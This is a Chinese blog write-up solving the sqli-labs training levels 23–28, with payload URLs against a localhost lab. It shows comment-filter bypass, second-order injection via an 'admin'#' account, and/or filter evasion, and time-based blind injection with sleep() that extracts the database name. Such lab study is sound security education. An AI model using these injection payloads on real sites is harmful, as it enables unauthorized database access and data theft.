美文网首页
sql注入学习,sqli-labs(23~28)全解

sql注入学习,sqli-labs(23~28)全解

作者: luckyQAQ | 来源:发表于2018-02-25 20:28 被阅读0次

    欢迎来我博客阅读~传送门

    ## task23

    屏蔽了# --注释符号,只能闭合绕过

    http://127.0.0.1/sqli-labs/Less-23/?id=1' and '1'='1

    ## task24

    二次注入

    注册一个账户 admin’# 密码admin

    登录,然后修改密码,修改的实际上是admin的密码

    问题语句

    注册时候的过滤也有问题,才会导致可以写入非法字符

    我在源代码里加了一句注册成功输出sql语句,注册成功后显示

    而实际数据库中添加的数据却是,然后修改密码时便构成了二次注入

    ## task25

    过滤了and和or

    绕过一:http://127.0.0.1/sqli-labs/Less-25/?id=2' aandnd 1=1 %23

    绕过二:http://127.0.0.1/sqli-labs/Less-25/?id=2' %26%26 1=1 %23

    其中%26是&的url编码

    ## task25.a

    http://127.0.0.1/sqli-labs/Less-25a/?id=2 aandnd 1=1%23

    ## task26

    过滤了很多,and和or可以继续用&&和||替代

    然后使用引号闭合,这题主要是要绕过对空格的过滤

    网上有人说用%a0替换空格,试了下不行。据说是windows系统的缘故?

    这里给出另外一种思路,利用1或者0秒的sleep时间来判断

    http://localhost/sqli-labs/Less-26/?id=1' %26%26sleep(ascii(mid(database(),1,1))=116)%26%26'1'='1

    ## task26.a

    屏蔽了26的字符,还给$id加了一对括号

    http://localhost/sqli-labs/Less-26a/?id=1')%26%26sleep(ascii(mid(database(),1,1))=115)%26%26'1'=('1

    ## task27

    直接用26关的payload就可以

    http://localhost/sqli-labs/Less-27/?id=1' %26%26sleep(ascii(mid(database(),1,1))=115) %26%26'1'='1

    ## task27.a

    单引号变成了双引号

    http://localhost/sqli-labs/Less-27a/?id=1"%26%26sleep(ascii(mid(database(),1,1))=116) %26%26"1"="1

    ## task28

    $id被单引号和括号包围,如何判断出来的?

    ?id=1’报错

    ?id=1' and '1'='1

    ?id=1”不报错

    http://localhost/sqli-labs/Less-28/?id=1')%26%26sleep(ascii(mid(database(),1,1))=115) %26%26'1'=('1

    ## task28.a

    用28的就可以

    相关文章

      网友评论

          本文标题:sql注入学习,sqli-labs(23~28)全解

          本文链接:https://www.haomeiwen.com/subject/snxdxftx.html